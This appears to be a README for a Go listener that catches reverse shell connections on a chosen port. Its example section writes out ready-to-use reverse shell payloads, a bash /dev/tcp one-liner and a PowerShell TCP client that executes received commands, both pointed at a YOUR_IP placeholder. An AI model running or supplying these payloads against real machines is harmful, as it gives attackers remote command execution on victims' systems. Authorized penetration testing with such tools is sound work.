Netcat-like Reverse Shell Handler

A Go implementation of a netcat-like tool for handling reverse shell connections. This tool listens on a specified port and maps stdin/stdout to incoming connections, making it useful for managing reverse shells.

Features

• Listen on any port and host interface
• Bidirectional I/O mapping between terminal and network connection
• Support for multiple concurrent connections
• Graceful shutdown with Ctrl+C
• Simple command-line interface

Usage

Basic Usage

# Listen on default port 4444 on all interfaces
go run main.go

# Listen on specific port
go run main.go -p 8080

# Listen on specific host and port
go run main.go -h 127.0.0.1 -p 9999

Command Line Options

• -p <port>: Port to listen on (default: 4444)
• -h <host>: Host/interface to bind to (default: 0.0.0.0)

Building

# Build the executable
go build -o netcat main.go

# Run the built executable
./netcat -p 4444

Example Scenarios

1. Reverse Shell Handler

Step 1: Start the listener

go run main.go -p 4444

Step 2: From target machine, connect back with a shell

# Linux/Mac
bash -i >& /dev/tcp/YOUR_IP/4444 0>&1

# Windows PowerShell
$client = New-Object System.Net.Sockets.TCPClient('YOUR_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

2. Simple Chat/Communication

Use this tool to create a simple bidirectional communication channel between two systems.

How It Works

1. Listener Setup: The program binds to the specified host and port
2. Connection Handling: Each incoming connection is handled in a separate goroutine
3. Bidirectional Mapping:
   • Data from the network connection is written to stdout
   • Data from stdin is sent to the network connection
4. Concurrent Support: Multiple connections can be handled simultaneously

Security Considerations

⚠️ Warning: This tool is designed for educational purposes and authorized testing only. Always ensure you have proper authorization before using this tool in any environment.

• Only use on networks you own or have explicit permission to test
• Be aware that this creates an open port that accepts connections
• Consider firewall rules and network security when running
• Use only for legitimate security testing and educational purposes

Code Structure

• main(): Sets up the listener and handles graceful shutdown
• handleConnection(): Manages bidirectional I/O for each connection
• Uses goroutines for concurrent connection handling
• Implements proper error handling and resource cleanup

Dependencies

This tool uses only Go standard library packages:

• net - for network operations
• io - for I/O operations
• os - for system operations
• flag - for command-line parsing
• sync - for synchronization